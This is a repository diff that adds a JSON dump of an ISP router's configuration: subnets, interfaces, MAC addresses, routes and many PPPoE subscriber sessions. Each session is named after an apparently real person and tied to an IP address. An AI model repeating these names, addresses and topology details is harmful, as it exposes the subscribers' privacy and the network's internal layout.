"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.209/32",
|
||||||
|
"network": "100.64.7.208",
|
||||||
|
"interface": "<pppoe-donnacampbell>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.207/32",
|
||||||
|
"network": "100.64.7.206",
|
||||||
|
"interface": "<pppoe-bryangoulart>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.205/32",
|
||||||
|
"network": "100.64.7.204",
|
||||||
|
"interface": "<pppoe-richardbarragan>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.199/32",
|
||||||
|
"network": "100.64.7.198",
|
||||||
|
"interface": "<pppoe-tammieventris>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.197/32",
|
||||||
|
"network": "100.64.7.196",
|
||||||
|
"interface": "<pppoe-crystalharney>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.195/32",
|
||||||
|
"network": "100.64.7.194",
|
||||||
|
"interface": "<pppoe-johnvayo>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.193/32",
|
||||||
|
"network": "100.64.7.192",
|
||||||
|
"interface": "<pppoe-glendabeauchamp>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.189/32",
|
||||||
|
"network": "100.64.7.188",
|
||||||
|
"interface": "<pppoe-carolstrickland>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.242/32",
|
||||||
|
"network": "100.64.7.184",
|
||||||
|
"interface": "<pppoe-jmichaelculverhouse>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.248/32",
|
||||||
|
"network": "100.64.7.181",
|
||||||
|
"interface": "<pppoe-elviraquezada>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.183/32",
|
||||||
|
"network": "100.64.7.177",
|
||||||
|
"interface": "<pppoe-rhondabolton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.236/32",
|
||||||
|
"network": "100.64.7.175",
|
||||||
|
"interface": "<pppoe-janetkern>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.202/32",
|
||||||
|
"network": "100.64.7.171",
|
||||||
|
"interface": "<pppoe-timbagert>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.190/32",
|
||||||
|
"network": "100.64.7.170",
|
||||||
|
"interface": "<pppoe-gregmcintire>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.173/32",
|
||||||
|
"network": "100.64.7.167",
|
||||||
|
"interface": "<pppoe-ruthfengler>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.250/32",
|
||||||
|
"network": "100.64.4.1",
|
||||||
|
"interface": "<pppoe-mauriciosoto>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.169/32",
|
||||||
|
"network": "100.64.7.164",
|
||||||
|
"interface": "<pppoe-jenniferboon>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.165/32",
|
||||||
|
"network": "100.64.7.163",
|
||||||
|
"interface": "<pppoe-buddyswan>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether4-380-airfiber24",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C3",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-494",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-verona-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C5",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether8-michael",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C7",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus1",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:D0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-amberprater>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-bryangoulart>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-buddyswan>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-carolstrickland>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chadwhitsell>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-charlesboone>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chasewilliams>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-crystalharney>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cynthiajones>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-donnacampbell>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-douggarber>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-eddieyarbrough>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-elviraquezada>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1484
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-glendabeauchamp>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-gordonhamilton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-gregmcintire>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-janetkern>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-janicealexander>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jenniferboon>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jmichaelculverhouse>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-johnvayo>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-marysmelser>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-matthewgoodwin>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mauriciosoto>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-michaelray>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-rhondabolton>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-richardbarragan>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-robbymccollom>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ruthfengler>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-taekim>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-tammieventris>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timbagert>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-timgilbert>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "climax-bridge",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "F4:1E:57:6B:41:C1",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "F4:1E:57:6B:41:C6",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_sfp-sfpplus1",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "F4:1E:57:6B:41:D0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether7",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether7-switch"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_sfp-sfpplus1",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "sfp-sfpplus1"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "Climax",
|
||||||
|
"interface": "climax-bridge"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": [
|
||||||
|
{
|
||||||
|
"destination": "10.10.0.0/20",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.10.80.0/20",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.64/29",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.101/32",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.111/32",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.10.160.0/20",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.0.0/22",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.160.0/20",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.64/27",
|
||||||
|
"gateway": "10.250.1.65",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.224/27",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.191.0/27",
|
||||||
|
"gateway": "10.250.1.25",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
669
climax_router_data.json
Normal file
669
climax_router_data.json
Normal file
|
|
@ -0,0 +1,669 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.102",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2026-02-06T12:54:21.532581",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.0.102.254/24",
|
||||||
|
"network": "10.0.102.0",
|
||||||
|
"interface": "ether1-climaxtower",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.254.254.102/32",
|
||||||
|
"network": "10.254.254.102",
|
||||||
|
"interface": "lo",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.62/27",
|
||||||
|
"network": "204.110.188.32",
|
||||||
|
"interface": "climax-bridge",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.254/22",
|
||||||
|
"network": "100.64.4.0",
|
||||||
|
"interface": "climax-bridge",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.14/29",
|
||||||
|
"network": "10.250.1.8",
|
||||||
|
"interface": "ether3-culleoka-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.30/29",
|
||||||
|
"network": "10.250.1.24",
|
||||||
|
"interface": "ether6-verona-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.70/29",
|
||||||
|
"network": "10.250.1.64",
|
||||||
|
"interface": "ether5-494",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.94/29",
|
||||||
|
"network": "10.250.1.88",
|
||||||
|
"interface": "ether4-380-airfiber24",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.31.254/20",
|
||||||
|
"network": "10.10.16.0",
|
||||||
|
"interface": "mgmt",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.220/32",
|
||||||
|
"network": "204.110.188.38",
|
||||||
|
"interface": "<pppoe-michaelray>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.89/32",
|
||||||
|
"network": "100.64.7.149",
|
||||||
|
"interface": "<pppoe-gordonhamilton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.64/32",
|
||||||
|
"network": "100.64.7.155",
|
||||||
|
"interface": "<pppoe-bryangoulart>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.148/32",
|
||||||
|
"network": "100.64.7.160",
|
||||||
|
"interface": "<pppoe-marysmelser>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.159/32",
|
||||||
|
"network": "100.64.7.246",
|
||||||
|
"interface": "<pppoe-chasewilliams>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.162/32",
|
||||||
|
"network": "100.64.7.243",
|
||||||
|
"interface": "<pppoe-charlesboone>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.163/32",
|
||||||
|
"network": "100.64.7.244",
|
||||||
|
"interface": "<pppoe-timgilbert>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.9/32",
|
||||||
|
"network": "100.64.7.118",
|
||||||
|
"interface": "<pppoe-rhondabolton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.2/32",
|
||||||
|
"network": "100.64.7.66",
|
||||||
|
"interface": "<pppoe-robbymccollom>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.22/32",
|
||||||
|
"network": "100.64.7.241",
|
||||||
|
"interface": "<pppoe-matthewgoodwin>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.10/32",
|
||||||
|
"network": "100.64.7.250",
|
||||||
|
"interface": "<pppoe-crystalharney>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.41/32",
|
||||||
|
"network": "100.64.7.249",
|
||||||
|
"interface": "<pppoe-johnvayo>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.7/32",
|
||||||
|
"network": "100.64.7.72",
|
||||||
|
"interface": "<pppoe-cynthiajones>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.11/32",
|
||||||
|
"network": "100.64.7.235",
|
||||||
|
"interface": "<pppoe-timbagert>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.35/32",
|
||||||
|
"network": "100.64.7.248",
|
||||||
|
"interface": "<pppoe-carolstrickland>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.37/32",
|
||||||
|
"network": "100.64.7.27",
|
||||||
|
"interface": "<pppoe-gregmcintire>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.34/32",
|
||||||
|
"network": "100.64.7.209",
|
||||||
|
"interface": "<pppoe-jmichaelculverhouse>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.211/32",
|
||||||
|
"network": "204.110.188.42",
|
||||||
|
"interface": "<pppoe-taekim>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.19/32",
|
||||||
|
"network": "100.64.7.91",
|
||||||
|
"interface": "<pppoe-chadwhitsell>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.16/32",
|
||||||
|
"network": "100.64.7.102",
|
||||||
|
"interface": "<pppoe-douggarber>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.12/32",
|
||||||
|
"network": "100.64.7.103",
|
||||||
|
"interface": "<pppoe-glendabeauchamp>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.25/32",
|
||||||
|
"network": "100.64.7.150",
|
||||||
|
"interface": "<pppoe-amberprater>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.5/32",
|
||||||
|
"network": "100.64.7.216",
|
||||||
|
"interface": "<pppoe-ruthfengler>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.6/32",
|
||||||
|
"network": "100.64.7.228",
|
||||||
|
"interface": "<pppoe-elviraquezada>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.3/32",
|
||||||
|
"network": "100.64.7.233",
|
||||||
|
"interface": "<pppoe-janicealexander>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.4/32",
|
||||||
|
"network": "100.64.7.234",
|
||||||
|
"interface": "<pppoe-richardbarragan>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.8/32",
|
||||||
|
"network": "100.64.7.238",
|
||||||
|
"interface": "<pppoe-jenniferboon>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.21/32",
|
||||||
|
"network": "100.64.7.247",
|
||||||
|
"interface": "<pppoe-donnacampbell>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.184/32",
|
||||||
|
"network": "100.64.4.1",
|
||||||
|
"interface": "<pppoe-mauriciosoto>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.13/32",
|
||||||
|
"network": "100.64.7.62",
|
||||||
|
"interface": "<pppoe-buddyswan>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.28/32",
|
||||||
|
"network": "100.64.7.71",
|
||||||
|
"interface": "<pppoe-eddieyarbrough>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.18/32",
|
||||||
|
"network": "100.64.7.106",
|
||||||
|
"interface": "<pppoe-tammieventris>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether4-380-airfiber24",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C3",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-494",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-verona-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C5",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether8-michael",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:C7",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus1",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "F4:1E:57:6B:41:D0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-amberprater>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-bryangoulart>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-buddyswan>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-carolstrickland>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-chadwhitsell>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-charlesboone>",
|
||||||
|
